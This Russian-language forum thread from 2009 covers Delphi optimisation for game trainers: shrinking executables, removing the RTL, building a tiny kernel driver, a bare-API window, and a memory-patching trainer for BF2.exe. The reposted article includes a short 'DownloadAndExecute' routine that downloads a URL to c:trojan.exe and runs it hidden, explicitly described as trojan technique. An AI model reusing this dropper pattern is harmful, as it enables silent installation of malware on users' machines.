MasterGH Опубликовано 17 декабря, 2009 Поделиться Опубликовано 17 декабря, 2009 Сразу перейдите на 21 пост этой темы "Создание трейнера для начинающих на VCL"А если вы знаете Дельфи, то перейдём к тонкостям Дельфи.Источник: Взято с античата.Передача аргументов.Никогда не передавай функции в качестве параметра структуру, лучше передавать указатель на нее//Ни в коем случае не делай так.Procedure code (Data:TStructure);//Правильный вариантProcedure code (PData:PStructure); //гда PStructure = ^TStrucrurСтарайся передавать своим функциям не более трех параметров, т.к. они передаются через регистры (по соглашению fastcall, принятом по умолчанию в Delphi), а все остальные через стек.Функции - инвариантыДовольно распространенная ошибка программистов – присутствие функций - инвариантов в цикле.//Неоптимизированный вариантWhile i<= lstrlen(str) doBeginX:=x+ord(str[i]);Inc(i);End;Очевидно, что длина str не меняется, но компилятор считает, что все, что передается по ссылке сожжет быть изменено, и lstrlen вычисляется много раз. Оптимизированный вариант выглядит так.//Так лучшеN:=lstrlen(str);While i<= n doBeginX:=x+ord(str[i]);Inc(i);End;Экономия памятиКогда класс располагается в памяти, то между полями появляются пустые ячейки памяти. Это происходит потому, что Delphi, оптимизируя код, каждое поле располагает от предыдущего со сдвигом в 4 байта.// Неоптимизированный вариантTMyClass = class private field1: boolean;//1 байт field2: longint; //4 байт field3: char; //1 байт field4: string; //4 байт field5: byte; //1 байт field6: integer; //4 байт field7: byte; //1 байт public procedure code;end;Реально этот экземпляр класса будет занимать 28 байт. Если мы изменим порядок полей, то сможем добиться уменьшения размера до 16 байт. В нашем примере после field1 размером 1 байт идет field2 размером 4 байта, значит, мы теряем 3 байта на выравнивание. Если же размер field2 не превышал 3 байт, то Delphi не стал бы выравнивать, а поместил бы это поле сразу после первого.Код:// Оптимизированный вариантTMyClass = class private field1: boolean; //1 байт field3: char; //1 байт field5: byte; //1 байт field7: byte; //1 байт field2: longint; //4 байт field4: string; //4 байт field6: integer; //4 байт public procedure code;end;[*:29vn0yvr]Компиляция без RTL (Run Time Library)Как известно минимальный размер скомпилированной в Delphi программы с настройками по умолчанию равен 13,5 Кб. Виной тому принудительно подключаемая Delphi RTL, в которой реализованы некоторые возможности языка Delphi. Для уменьшения размера скомпилированных прог исправим модели System.pas и SysInit.pas, удалив все «лишнее». Затем перекомпилируем их и полученные dcu-файлы поместим в папку с прогой.Минимальный System.pasunit System;interfaceprocedure _HandleFinally;type TGUID = record D1: LongWord; D2: Word; D3: Word; D4: array [0..7] of Byte; end; PInitContext = ^TInitContext; TInitContext = record OuterContext: PInitContext; ExcFrame: Pointer; InitTable: pointer; InitCount: Integer; Module: pointer; DLLSaveEBP: Pointer; DLLSaveEBX: Pointer; DLLSaveESI: Pointer; DLLSaveEDI: Pointer; ExitProcessTLS: procedure; DLLInitState: Byte; end;implementationprocedure _HandleFinally;asmend;end.Минимальный SysInit.pasunit SysInit;interfaceprocedure _InitExe;procedure _halt0;procedure _InitLib(Context: PInitContext);var ModuleIsLib: Boolean; TlsIndex: Integer = -1; TlsLast: Byte; const PtrToNil: Pointer = nil; implementationprocedure _InitLib(Context: PInitContext);asmend;procedure _InitExe;asmend;procedure _halt0;asmend;end.КомпиляцияDcc32.exe – Q System.pas SysInit.pas –M –Y –Z -$D- -OЭкстремально маленький Hello Word! на Delphi.Собирать исполняемый файл линкером от Microsoft. К сожалению, майкрософтовкий линкер понимает только COFF и Intel OMF, наотрез отказываясь работать с Borland OMF. Delphi же, начиная с третьей версии, перешла с формата Intel OMF на Borland OMF. Поэтому компилировать придется компилятором от Delphi 3.Unit HelloWord;InterfaceProcedure Start;ImplementationFunction MessageBoxA(hWnd:cardinal; IpText, IpCaption:Pchar; uType:Cardinal): Integer; stdcall; external ‘user32.dll’ name ‘_MessageBoxA@16’;Procedure Start;Begin MessageBoxA(0,’Hello word!’,nil,0);End;End.Ти модуля Unit нужен для того, чтобы компилятор сгенерировал в объектном файле символьные имена объявленных процедур. Компилируем:Dcc32.exe –JP -$A-,B-,C-,D-,G-,H-,I-,J-,L-,M-,O+,P-,Q-,R-,T-,U-,V-,W+,X+,Y- HelloWord.pasОткрываем файл HelloWord.obj в HEX-редакторе и смотрим во что превратилась наша точка входа. Допустим Start$wwrv. Теперь выполняем сборкуLink.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$wwrv HelloWord.obj user32.lib /out:Hello.exeВ результате имеем файл размером 832 байта.Статья про маленький размер приложения:Выжимаем из Delphi все возможноеТы пишешь на Delphi, но тебе не нравиться размер проги в 400 кб? Ничего, можно и до 850 байт сократить...ВступлениеВ кругах низкоуровневых программистов существует устоявшееся мнение о том, что Delphi полный остой, так как не годится для системного программирования. Обьясняют это обычно тем, что компилятор генерирует медленный и большой код, а средний размер пустой формы с кнопкой — 400 килобайт. Обычно этим аргументация обычно и заканчивается (иногда просто говорят что дельфи дерьмо вообще без всякой аргументации). На форумах существуют «священные» войны между поклонниками С++ и Delphi, где каждый доказывает что его любимый язык лучше. Поклонники С++ обычно кричат про супернавороченный синтаксис и мошьные возможности ООП (при этом утверждая, что в системном программировании все это незаменимо!), а поклонники Delphi опять же кричат про те возможности ООП которых нет в С++ да и еще про то, что на дельфи все пишется куда проще. Мо моему мнению — это просто крики ламеров, так как по их словам можно заключить, что ни та ни другая сторона обычно ни про Delphi ни про C++ ничего толком не знает.Эта статья будет посвящена приемам системного программирования на Delphi, тут мы будем делать на дельфи то, что многие считают невозможным. Эта статья для тех, кто пишет программы на Delphi и при этом хочет добиться максимальной эффективности кода, но не боится вложить в это определенный труд. По оптимизации кода в С++ написано весьма немало статей, а про оптимизацию в Delphi хороших статей просто нет. Видно все считают — что никакая оптимизация здесь не нужна. Тем, кого устраивает 400 килобайтный размер пустой формы с кнопкой статью читать я не рекомендую (все равно толку то...), а тем кто упорно отстаивает мнение о ненужности дельфи лучше тоже не читать, чтобы не расстраивать нервы и не развеивать священные заблуждения.Немного о генерируемом компилятором кодеДля начала следует проверить удтверждение, что компилятор Delphi генерирует много лишнего и неэффективного кода. Для этого я напишем функцию скачивающую и запускающую файл из интернета (такие вещи обычно используют в троянах), писать будем естественно с применением API. Вот что у меня получилось:procedure DownloadAndExecute (Source: PChar); stdcall;constDestFile = 'c:trojan.exe';beginUrlDownloadToFile (nil, Source, DestFile, 0, nil);WinExec (DestFile, SW_HIDE);end;Этот код я вставил в программу, скомпилировал и дизассемблировал в IDA. Вот его откомментированый листинг:DownloadAndExecute proc nearSource = dword ptr 8push ebpmov ebp, esppush 0 ; LPBINDSTATUSCALLBACKpush 0 ; DWORDpush offset DestFile ; LPCSTRmov eax, [ebp+Source]push eax ; LPCSTRpush 0 ; LPUNKNOWNcall URLDownloadToFileApush 0 ; uCmdShowpush offset DestFile ; lpCmdLinecall WinExecpop ebpretn 4DownloadAndExecute endpDestFile db 'c:trojan.exe',0Ну и где же куча лишнего кода о котором некоторые так любят говорить? Все просто и красиво. Из этого можно сделать вывод, что компилятор гнерирует вполне приличный код, размер которого весьма невелик. То что сгенерировал компилятор весьма похоже на аналогичный код написанный вручную на ассемблере. Тем более, некоторые люди не знающие ассемблера, но пытающиеся что-то на нем писать иногда такое выдают, что любые ошибки компилятора покажутся мелочью . Так почему программы написанные на дельфи такие большие? Откуда все-таки берется лишний код, если компилятор его не генерирует. Сейчас мы разберем этот вопрос подробнее.ООП — двигатель прогресаООП — весьма модное в настоящее время направление развития индустрии программирования. Цель ООП — упростить написание программ и сократить сроки их разработки, и несомненно с этой целью ООП прекрасно справляется. Большинство программистов пишущих на С++ или Delphi прикладные приложения, не мыслят даже о самой возможности программирования без ООП. Если ты относишся к их группе, то немедленно бросай читать статью, так как она не для тебя.Взглянем на ООП глазами системного программитса. ООП дает простоту написания, это плюс, но у него есть и обратная сторона — это качество генерируемого кода. Допустим, у нас есть класс который наследуется от другого класса. При создании обьекта этого класса компилятор будет вынужден включить в его состав также код родительского класса полностью, так как нет возможности определить, какие методы классов использоваться не будут. А если у нас будет целое дерево наследования классов (как это обычно и бывает в реальных программах), то код этого дерева будет полностью включен в состав программы, и от этого никуда не денешся. Вызов методов класса производится через таблицу, что увеличивает время вызова. А если метод наследуется от родителя в десятом поколении, то и вызов пройдет через десять таблиц, прежде чем достигнет обрабатывающего его кода. Получается, что вместе с кучей мертвого кода мы получаем еще низкую эффективность того, что работает.Хороший пример применения ООП — это библиотека VCL в дельфи. Этот пример в полной мере демонстрирует все достоинства и недостатки ООП. С одной стороны — черезвычайная простота написания программ, с другой — огромнейшее количество мертвого кода и ужасно низкая его производительность.ООП позволяет писать всякую фигню (обычно связанную с базами данных) за короткое время. Главный принцип — быстрее сдал программы, быстрее получил деньги. Естественно, что в таких условиях о всякой эффективности кода просто забывают. А что? Тормозит? Так пусть клиент купить компьютер помощьнее... Но нам естественно такие результаты не нужны.Теперь мы нашли источник всех бед, вот она причина большого размера программ написанных на деьфи, это ООП, и в частности VCL. Некоторые прочитав это зададутся вопросом, почему программа написанная на дельфи с применением VCL занимает гораздо больше места, чем программа написаггая на VB, или на VC с применением MFC. Ответ прост — потому, что великая и ужасная фирма Micro$oft приложила к этому свою лапу. MFC и рунтайм библиотеки в VB занимают ничуть не меньше места, просто они скомпилены в DLL и входят в поставку Windows, а значит их код не приходится таскать с собой в программах, а программа на Delphi содержит весь необходимый для своей работы код. В защиту Borland можно сказать то, что такая возможность присутствует и в Delphi. Нужно просто в настройках проекта поставить галочку «Build with runtime packages», тогда размер программы значительно уменьшится, но она потребует наличия соответствующих Runtime библиотек. Так как Borland не выпускает Windows, то естественно эти библиотеки в поставку винды не входят, но в этом надо винить не Борланд, а монопольную политику мелкософта.Любители ООП желающие разрабатывать программы в визуальном режиме могут использовать KOL. Это попытка сделать что-то типа VCL, но с учетом недостатков ООП. Средний размер пустой формы с кнопкой на KOL — 35кб, что уже лучше, но к сожалению для серьезных приложений эта библиотека не подходит, так как часто глючит. Да и решение это половинчатое, те кто хочет добиться действительно высокой эффективности коды должны принять другое решение — забыть про ООП и все что с ним связано раз и навсегда. Писать программы придется только на чистом API.Из всего вышесказанного можно сделать вывод, что ООП двигатель прогресса, но с точки зрениясистемного программиста ООП двигает прогресс только назад.Виновник номер дваСоздадим в Delphi пустой проект, хаведомо не содержащий никакого полезного кода:program Sample;beginend.После компиляции в Delphi 7 мы получаем екзешник размером в 13,5 кб. Почему так много? Ведь в программе то ничего нет. Ответ на этот вопрос опять поможет дать IDA. Дизассемблируем полученный экзешник и посмотрим, что собственно он содержит. Точка входа в программу будет выглядеть так:public startstart:push ebpmov ebp, espadd esp, 0FFFFFFF0hmov eax, offset ModuleIdcall _InitExe; здесь мог бы быть наш кодcall _HandleFinallyCODE endsВесь лишний код находится функциях _InitExe и _HandleFinally. Связано это с тем, что к каждой Delphi программе неявно подключается код входящий в состав RTL (Run Time Library). RTL нужна для поддержки таких возможностей языка как ООП, работа со строками (string), специфичные для паскаля функции (AssignFile, ReadLn, WriteLn e.t.c.). InitExe выполняет инициализацию всего этого добра, а HandleFinally обеспечивает корректное освобождение ресурсов.Сделано это опять же для упрощения жизни программистам, и применение RTL иногда оправдано, так как может не понизить, а повысить эффективность кода. Например в состав RTL входит менеджер кучи, который позволяет быстро выделять и освобождать маленькие блоки памяти. По своей эффективности он в три раза превосходит системный. Работа со строками реализована в RTL тоже довольно неплохо с точки зрения производительности генерируемого кода, но с точки зрения увеличения размера файла, RTL — виновник номер два (после ООП).Уменьшаем размерЕсли минимальный размер в 13.5 кб вас не устраивает, то будет убирать Delphi RTL. Весь код RTL находится в двух файлах: System.pas и SysInit.pas. К сожалению, компилятор подключает их к программе в любом случае, поэтому единственное что можно сделать — это удалить из этих модулей весь код, без которого программа может работать, и перекомпилить модули, а полученные DCU файлы положить в папку с программой.Файл System.pas содержит основной код RTL и поддержки классов, но все это мы выбросим. Минимальное содержимое этого файла будет выглядеть так:unit System;interfaceprocedure _HandleFinally;typeTGUID = recordD1: LongWord;D2: Word;D3: Word;D4: array [0..7] of Byte;end;PInitContext = ^TInitContext;TInitContext = recordOuterContext: PInitContext;ExcFrame: Pointer;InitTable: pointer;InitCount: Integer;Module: pointer;DLLSaveEBP: Pointer;DLLSaveEBX: Pointer;DLLSaveESI: Pointer;DLLSaveEDI: Pointer;ExitProcessTLS: procedure;DLLInitState: Byte;end;implementationprocedure _HandleFinally;asmend;end.Описания структуры TGUID компилятор требует в любом случае, и без ее наличия компилировать модуль отказывается. TInitContext понадобиться, если мы будем компилировать DLL, без описания этой структуры линкер собирать DLL отказывается. HandleFinally — процедура освобождения ресурсов RTL, компилятору она тоже необходима, хотя может быть пустой.Теперь урежем файл SysInit.pas, который содержит код инициализации и завершения работы RTL и управляет поддержкой пакетов. Минимальный файл SysInit.pas будет выглядеть так:unit SysInit;interfaceprocedure _InitExe;procedure _halt0;procedure _InitLib (Context: PInitContext);varModuleIsLib: Boolean;TlsIndex: Integer = -1;TlsLast: Byte;constPtrToNil: Pointer = nil;implementationprocedure _InitLib (Context: PInitContext);asmend;procedure _InitExe;asmend;procedure _halt0;asmend;end.InitExe — процедура инициализации RTL для EXE файлов, InitLib — для DLL, halt0 — завершение работы программы. Все остальное же просто требуется компилятором.Но те лишние структуры и переменные, которые пришлось оставить в выходной файл включаться не будут и никак не повлияют на его размер. Терерь положим эти два файла в папку с проектом и скомпилируем их из коммандной строки.dcc32.exe -Q system.pas sysinit.pas -M -Y -Z -$D- -OТерерь мы наконец избавились от RTL, попробуем скомпилировать пустой проект, и получаем экзешник размером в 3,5 кб. Откуда взялся такой размер в пустом проекте? Борландовский линкер создает ы исполнимом файле 6 секций, и при выравнивании секций в файле по 512 байт + размер PE заголовка, мы как раз получаем размер в 3.5 кб.Но в добавок к малому размеру мы получаем определенные неудобства, так как заголовочные файлы на WinAPI идущие с Delphi мы использовать не сможем, вместо них придется писать свои. Но это не трудно, так как описания используемых API можно брать с борландовских хедеров и переносить в свои по мере необходимости. С проблемой увеличения рвзмера можно столкнуться тогда, когда в составе проекта есть несколько PAS файлов. Борландовский линкер в такой ситуации может для выравнивания кода вставлять в файл пустые участки. Чтобы этого избежать — нужно всю программу (включая определения API) помещать в один файл. Это весьма неудобно, поэтому лучше воспользоваться директивой препроцессора $INCLUDE и разнести код на несколько inc файлов. Тут может встретиться еще одна проблема — повторные вставки одного и того же кода (когда несколько inc файлов подключают один и тот же inc), компилятор в таких случаях компилировать откажется. Чтобы этого избежать нужно воспользоваться директивами условной компиляции, полсе чего любой inc файл будет иметь вид:{$ifndef win32api}{$define win32api}// здесь идет наш код{$endif}Таким образом можно писать без RTL достаточно сложные программы и забыть о неудобствах.Можно еще меньше!Наверняка минимальный размер экзешника в 3.5кб удовлетворит не всех, но если постараться, то можно добиться еще большего уменьшения размера. Для этого нужно отказаться от удобств работы с борландовским линкером и собирать исполнимые файлы линкером от Microsoft. Но к сожадению, здесь нас ждет одна загвоздка. Проблема в том, что основным рабочим форматом мелкософтовского линкера является COFF, но он может понимать и интеловский OMF. Но программисты борланда (видать с целью создать несовместимость с микрософт) в версиях Delphi выше третьей изменили генерируемый формат obj файлов так, что теперь он несовместим с Intel OMF. Тоесть теперь существуют два вида OMF: Intel OMF и Borland OMF. Программы способной конвертировать обьектные файлы из формата Brland OMF в COFF или Intel OMF я не нашел. Поэтому придется использовать компилятор от Delphi 3, который генерирует стандартный Intel OMF обьектный файл. Импорт используемых API нам тоже придется описывать вручную, но его описание несколько отличается. Для начала возьмем библиотеку импорта user32.lib из состава Visual C++ и откроем ее в HEX редакторе. Имена функций библиотеки имеют такой вид: «_MessageBoxA@16», где после @ идет размер передаваемых параметров. Следовательно обьявлять функции мы будем таким образом:function MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;stdcall; external 'user32.dll' name '_MessageBoxA@16';Попробуем теперь написать HelloWorld как можно меньшего размера. Для этого создаем проект такого типа:unit HelloWorld;interfaceProcedure Start;implementationfunction MessageBoxA (hWnd: cardinal; lpText, lpCaption: PChar; uType: Cardinal): Integer;stdcall; external 'user32.dll' name '_MessageBoxA@16';Procedure Start;beginMessageBoxA (0, 'Hello world!', nil, 0);end;end.Тип модуля UNIT нужен для того, чтобы компилятор генерировал в обьектном файле символьные имена обьявленных процедур. В нашем случае это будет процедура Start, которая будет являться точкой входа в программу. Теперь компилируем проект следующей строкой:dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- HelloWorld.pasПосле компиляции получим файл HelloWorld.obj, который откроем в HEX редакторе и посмотрим во что превратилась наша точка входа. У меня получилось Start$qqrv. Это имя нужно указать как точку входа при сборке исполнимого файла. И наконец выполним сборку:link.exe /ALIGN:32 /FORCE:UNRESOLVED /SUBSYSTEM:WINDOWS /ENTRY:Start$qqrv HelloWorld.obj user32.lib /out:Hello.exeВ результате мы получаем работающий HelloWorld размером в 832 байта! Я думаю, что этот размер удовлетворит любого. Попробуем теперь дизассемблировать этот файл в IDA и поискать лишний код:; Attributes: bp-based frame; char Text[]Text db 'Hello world!',0public startstart proc nearpush 0 ; uTypepush 0 ; lpCaptionpush offset Text ; lpTextpush 0 ; hWndcall MessageBoxAretnstart endpКак мы видим — ни одного байта лишнего кода! Я думаю ты покажешь этот пример тем, кто много говорит о большом размере программ написанных на дельфи. По своему опыту знаю, что прикольно бывает наблюдать после этого за их выражением лица Хотя самые упорные продолжают говорить а... э..., все равно дерьмо..., но никто не может сказать ничего по существу. Но только самые продвинутые спорщики приводят последний аргумент — на Delphi нельзя написать драйвер режима ядра для Windows NT. Ничего... сейчас у них не останется аргументов вообще .Пишем драйвер на DelphiИспользуя эту методику можно не только писать очень маленькие программы, можно даже сделать то, что раньше считалось невозможным — написать на Delphi драйвер режима ядра. Об этом даже есть статья на RSDN, и всем интересующимся рекомендуу ее прочитать. Здесь же я приведу пример простейшего драйвера и содержимое make.bat для его сборки.Файл Driver.pas:unit Driver;interfacefunction DriverEntry (DriverObject, RegistryPath: pointer): integer; stdcall;implementationfunction DbgPrint (Str: PChar): cardinal; cdecl; external 'ntoskrnl.exe' name '_DbgPrint';function DriverEntry (DriverObject, RegistryPath: pointer): integer;beginDbgPrint ('Hello World!');Result := -1;end;end.Файл make.bat:dcc32.exe -JP -$A- ,B- ,C- ,D- ,G- ,H- ,I- ,J- ,L- ,M- ,O+,P- ,Q- ,R- ,T- ,U- ,V- ,W+,X+,Y- Driver.paslink.exe /DRIVER /ALIGN:32 /BASE:0?10000 /SUBSYSTEM:NATIVE /FORCE:UNRESOLVED /ENTRY:DriverEntry$qqspvt1 Driver.obj ntoskrnl.lib /out:Driver.sysДля компиляции нам понадобиться файл ntoskrnl.lib из DDK. После компиляции мы получим драйвер размером 1 кб, который выводит сообщение Hello World в отладочную консоль и возвращает ошибку, а поэтому в памяти не остается, что не требует определения функции DriverUnload. Для запуска драйвера можно использовать KmdManager от Four-F, посмотреть на результаты его работы можно в софтайсе или DbgView.При наличии некоторых знаний можно писать на Delphi вполне полноценные драйвера. Но здесь есть одна больщая проблема — отсутствие DDK. Для написания драйверов нужны заголовояные файлы на API ядра и описания большого количества системных структур. Все это богатство есть как для С (от Microsoft), так и для MASM32 (от Four-F). Есть слух, что DDK для паскаля уже существует, но его автор продает его за деньги и сильно этот факт не офиширует. Но я думаю, что найдутся энтузиасты, которые перепишут DDK на паскаль и выложат для всеобщего использования. Другой проблемой является то, что большинство примеров связанных с системным программированием написаны на си, поэтому на каком бы языке вы не писали свои программы, а си знать придется. Это конечно не означает, что придется изучать С++ в полном его обьеме. Для понимания системных программ хватит базовых знаний синтаксиса си, а все остальное используется в только в прикладных програмах которые нас совершенно не интересуют.Переносимость кодаПри программировании на стандартных Delphi компонентах, в добавок к куче недостатков мы получаем еще одно достоинство — некоторую переносимость кода. Если программа использует только возможности языка, но не возможности системы, то она будет легко компилироваться в Kilix и работать в Linux. Вся проблема в том, что без использования возможностей системы мы получим настоящее глюкалово (Шедевр Ламерского Искусства), тяжелую и неэффективную программу. Тем не менее, при написании серьезных программ по вышеописанным методикам все-таки хочется иметь некоторую независимость от системы. Получить такую независимость очень просто, достаточно писать код не использующий ни API функций ни возможностей языка вообще. Такой код в некоторых случаях писать совершенно невозможно (например в играх), но иногда функции системы абсолютно не нужны (например в математических алгоритмах). В любом случае, следует четко разделять машиннозависимую и машиннонезависимую (если такая есть) части кода. При соблюдении вышеописанных правил машиннонезависимая часть будет совместима на уровне исходных текстов с любой системой, для которой есть компилятор паскаля (а он есть даже для PIC контролеров). Независимый от API код можно смело компилировать в DLL и использовать например в драйвере режима ядра. Также такую длл не составит труда использовать и в других ОС, для этого нужно просто посекционно отмапить длл в адресное пространство процесса, настроить релоки и можно смело пользоваться ее функциями. Код на паскале это осуществляющий занимает около 80 строк. Если же DLL все-таки использует некоторые API функции, то их наличие можно проэмулировать, заполнив таблицу импорта DLL адресами заменяющих их функций в своей программе.Общие приемы оптимизацииСтарайся везде, где можно использовать указатели. Никогда не передавай данные в функцию таким образом:procedure FigZnaet (Data: TStructure);Всегда передавай указатели на структуры:procedure FigZnaet (pData: PStructure); где PStructure = ^TStructure;Такой вызов происходит быстрее и экономит немалое количество кода.Старайся не пользоватся типом данных sring, вместо него всегда можно использовать Pchar и обрабатывать строки вручную. Если нужен временный буффер для хранения строки, то его следует обьявить в локальных переменных как array of Char. Старайся передавать в функцию не больее трех параметров. Это обьясняется тем, что первые три параметра согласно методу вызова fastcall (который по умолчанию применяется в Delphi) передаются в регистрах, а все последующие через стек, что замедляет доступ к ним и увеличивает размер кода. Экономь память, если например у тебя есть массив чисел, диапазон которых укладывается в байт, то не нужно обьявлять его как dword. Никогда не стоит писать повторяющийся код. Если какие-либо действия следует делать повторно, то их нужно вынести в функцию, но тем не менее не стоит делать функции содержащие 2 строчки кода, так как вызов такой функции может занимать куда больше места, чем она сама. И помни главное — эффективность кода в первую очередь определяется не компилятором, а примененным алгоритмом, при этом разница в эффективности может составлять сотни раз!ЗаключениеИтак, я думаю, что прочитав эту статью ты станешь писать на дельфи весьма маленькие и быстрые программы. Также я думаю, что ты обязательно расскажешь об этом всем, кто в такой возможности сомневается. Пора покончить с мнением, что дельфи дерьмо, и я думаю, ты в это дело вложишь долю своего труда.Автор: Ms-Rem (MircroSoft REMover) Ms-Rem@yandex.ru Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 17 декабря, 2009 Автор Поделиться Опубликовано 17 декабря, 2009 Создание пустого окна на Дельфи без VCL (8 кб с пакером)Главная программа.Program Api;uses Forms, WindowTrainer in 'WindowTrainer.pas', cnst in 'cnst.pas', CEcheats in 'CEcheats.pas';beginWindowCreateTrainer;end.Модуль Окна WindowTrainerunit WindowTrainer;interfaceuses windows, messages;procedure WindowCreateTrainer;varwindow:TWndClassEx;Mwindow: HWND;Mmsg: MSG;implementationuses cnst;// Процедура обработки сообщенийfunction WindowProc (wnd: HWND; msg: integer; wparam: WPARAM; lparam: LPARAM):LRESULT;STDCALL;begincase msg ofWM_Destroy:beginPostQuitMessage (0);Result := 0;Exit;end;elseResult := DefWindowProc(wnd,msg,wparam,lparam);end;end;procedure WindowCreateTrainer;begin// Ристрация класса окнаwindow.cbSize := sizeof (window);window.style := CS_HREDRAW or CS_VREDRAW;window.lpfnWndProc := @WindowProc;window.cbClsExtra := 0;window.cbWndExtra := 0;window.hInstance := HInstance;window.hIcon := LoadIcon (0,IDI_APPLICATION);window.hCursor := LoadCursor (0,IDC_ARROW);window.hbrBackground:=Color_BtnFace+12;window.lpszMenuName := nil;window.lpszClassName := 'frmTrainer';RegisterClassEx (window);// Создание окна на основе созданного классаMwindow := CreateWindowEx(0,'frmTrainer',trname, WS_OVERLAPPEDWINDOW - WS_MAXIMIZEBOX+WS_EX_TOOLWINDOW-WS_THICKFRAME,100,100,300,300,0,0,Hinstance,nil);// Показать созданное окноSHOWWINDOW (Mwindow,SW_Show);// Цикл обработки сообщенийwhile GetMessage (Mmsg,0,0,0) dobeginTranslateMessage (Mmsg);DispatchMessage (Mmsg);end;end;Получаем 15 кб на Дельфи 10,а если сжать пакером, то около 9 кб Ссылка на комментарий Поделиться на другие сайты Поделиться
ArxLex Опубликовано 14 января, 2010 Поделиться Опубликовано 14 января, 2010 cnst in 'cnst.pas', CEcheats in 'CEcheats.pas';Где их найти? 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 14 января, 2010 Автор Поделиться Опубликовано 14 января, 2010 Да, убрать эти модули забыл Всё должно работать без них. Ссылка на комментарий Поделиться на другие сайты Поделиться
ArxLex Опубликовано 14 января, 2010 Поделиться Опубликовано 14 января, 2010 Короче почистил я её и вот что получилось:Program Api;uses WindowTrainer;beginWindowCreateTrainer;end.unit WindowTrainer;interfaceuses windows, messages;procedure WindowCreateTrainer;varwindow:TWndClassEx;Mwindow: HWND;Mmsg: MSG;implementationfunction WindowProc (wnd: HWND; msg: integer; wp: WPARAM; lp: LPARAM):LRESULT;STDCALL;beginResult := 0;case msg ofWM_CLOSE : PostMessage(wnd, WM_QUIT, 0, 0);elseResult := DefWindowProc(wnd, msg, wp, lp);end;end;procedure WindowCreateTrainer;beginwindow.cbSize := sizeof (window);window.style := CS_HREDRAW or CS_VREDRAW;window.lpfnWndProc := @WindowProc;window.cbClsExtra := 0;window.cbWndExtra := 0;window.hInstance := HInstance;window.hIcon := LoadIcon (0,IDI_APPLICATION);window.hCursor := LoadCursor (0,IDC_ARROW);window.hbrBackground:=Color_BtnFace+12;window.lpszMenuName := nil;window.lpszClassName := 'frmTrainer';RegisterClassEx (window);Mwindow := CreateWindowEx(0,'frmTrainer', 'Demo Window', WS_OVERLAPPEDWINDOW - WS_MAXIMIZEBOX+ WS_EX_TOOLWINDOW- WS_THICKFRAME,100,100,300,300,0,0,Hinstance,nil);SHOWWINDOW (Mwindow,SW_Show);while GetMessage (Mmsg,0,0,0) dobeginTranslateMessage (Mmsg);DispatchMessage (Mmsg);end;end;end.П.С. С модулем ...uses Forms... приложение с размером 16 кб никогда не получится 1 Ссылка на комментарий Поделиться на другие сайты Поделиться
MasterGH Опубликовано 14 января, 2010 Автор Поделиться Опубликовано 14 января, 2010 Меня можно лишь обвинить в мусоре в коде.Мой Дельфинский компилятор не используемые модули не учитывает, т.е. Forms.pas не учитывал. Так что у меня было 16 Кб.Спасибо, что почистил ) Ссылка на комментарий Поделиться на другие сайты Поделиться
ArxLex Опубликовано 14 января, 2010 Поделиться Опубликовано 14 января, 2010 Простой пример трейнера с использованием ToolHelp 32 API:unit Unit1;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, tlhelp32, StdCtrls, ExtCtrls;type TForm1 = class(TForm) Button1: TButton; Button2: TButton; Timer1: TTimer; Label1: TLabel; Label18: TLabel; Label2: TLabel; procedure Timer1Timer(Sender: TObject); procedure Button2Click(Sender: TObject); procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end;var Form1: TForm1; PidHandle: integer; PidID : integer; byteArr : Array of byte;Const ProgramName = 'BF2.exe';implementation{$R *.dfm}// tlhelp32 function to Loop through processes and locate your targetfunction GetProcessID(Const ExeFileName: string; var ProcessId: integer): boolean;var ContinueLoop: BOOL; FSnapshotHandle: THandle; FProcessEntry32: TProcessEntry32;begin result := false; FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); FProcessEntry32.dwSize := Sizeof(FProcessEntry32); ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32); while integer(ContinueLoop) <> 0 do begin if (StrIComp(PChar(ExtractFileName(FProcessEntry32.szExeFile)), PChar(ExeFileName)) = 0) or (StrIComp(FProcessEntry32.szExeFile, PChar(ExeFileName)) = 0) then begin ProcessId:= FProcessEntry32.th32ProcessID; result := true; break; end; ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32); end; CloseHandle(FSnapshotHandle);end;//Write 1 byte to memoryprocedure poke1(Address: Cardinal; Data: Byte);var Written: Cardinal;begin WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);end;//Write 2 bytes to memoryprocedure poke2(Address: Cardinal; Data: Word);varWritten: Cardinal;begin WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);end;//Write 4 bytes to memoryprocedure poke4(Address: Cardinal; Data: Cardinal);varWritten: Cardinal;begin WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);end;//Write an Array of bytes to memoryprocedure pokeX(Address: Cardinal; Data: Array of Byte);varWritten: Cardinal;begin WriteProcessMemory(PidHandle, Pointer(Address), @Data, SizeOf(Data), Written);end;//Example Function Call 1procedure TForm1.Button1Click(Sender: TObject);begin if GetProcessID(ProgramName, PidId) then begin PidHandle := OpenProcess(PROCESS_ALL_ACCESS,False,PidId); poke1($401000, $90); poke2($401001, $9090); poke4($401003, $90909090); closehandle(PidHandle); end else begin MessageDlg('Start BF2 First.', mtwarning, [mbOK],0); end;end;//Example Function Call 2procedure TForm1.Button2Click(Sender: TObject);begin if GetProcessID(ProgramName, PidId) then begin PidHandle := OpenProcess(PROCESS_ALL_ACCESS,False,PidId); SetLength(byteArr, 16); byteArr[0] := $8B; byteArr[1] := $71; byteArr[2] := $10; byteArr[3] := $0F; byteArr[4] := $85; byteArr[5] := $6A; byteArr[6] := $9D; byteArr[7] := $FD; byteArr[8] := $FF; byteArr[9] := $83; byteArr[10] := $7E; byteArr[11] := $0C; byteArr[12] := $00; byteArr[13] := $0F; byteArr[14] := $85; byteArr[15] := $60; pokeX($401007, byteArr); SetLength(byteArr, 15); closehandle(PidHandle); end else begin MessageDlg('Start BF2 First.', mtwarning, [mbOK],0); end;end;// Timer to Detect 